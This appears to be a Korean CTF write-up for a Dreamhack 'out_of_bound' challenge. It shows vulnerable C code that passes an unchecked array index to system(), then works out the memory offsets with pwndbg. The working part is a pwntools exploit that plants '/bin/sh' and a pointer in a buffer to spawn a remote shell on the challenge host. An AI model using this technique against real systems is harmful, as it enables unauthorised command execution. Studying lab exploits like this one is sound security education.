

Canary와 NX가 적용되어 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
system(command[idx])에서 idx를 받을 때 제한 조건이 없기 때문에 Out of bound를 사용해서 "/bin/sh"를 실행할 수 있을 것 같습니다.
system(command[idx])에서 셸을 실행하기 위해서 name에 "/bin/sh" 값을 저장한 후 oob를 활용해서 command[idx]에서 읽어오면 해결할 수 있을 것 같습니다.
pwndbg로 name과 command 사이의 오프셋을 구해보겠습니다.
pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>
command는 0x804a060, name은 0x804a0ac로 76바이트만큼 차이가 납니다.
command는 char* 형으로 정의되어 있고, 이는 32비트 환경에서 실행되는 바이너리이기 때문에 4바이트입니다.
따라서 command[0] = 0x804a060이고 command[1] = 0x804a060+4, ... command[19] = 0x804a060+(19*4)가 됩니다.
따라서 command[19] = 0x804a060 + 76이 되어 name의 주소에 있는 값을 가리킵니다.
그럼 이제 name에 b"/bin/sh\x00"을 넣은 후 코드를 실행하면 해결이 될 거 같지만 실행 결과는 system함수에 인자로 "/bin"이 들어가게 됩니다.
이를 해결하기 위해서는 "/bin/sh\x00" 문자열 자체가 아닌 문자열이 저장된 주소가 인자로 들어가야 합니다.
그러므로 payload에 name주소를 추가한 후 idx에 2를 더해주면 됩니다.
아래는 완성된 코드입니다.
from pwn import *
p = remote("host1.dreamhack.games", 15745)
e = ELF("./out_of_bound")
payload = b'/bin/sh\x00' + p32(e.symbols["name"])
p.sendlineafter("name: ", payload)
#21인 이유는 name[0]="/bin", name[1]="/sh\x00", name[2]=*name이므로 19+2=21이 됩니다.
p.sendlineafter("want?: ", str(21))
p.interactive()
실행하면 셸을 얻을 수 있습니다.
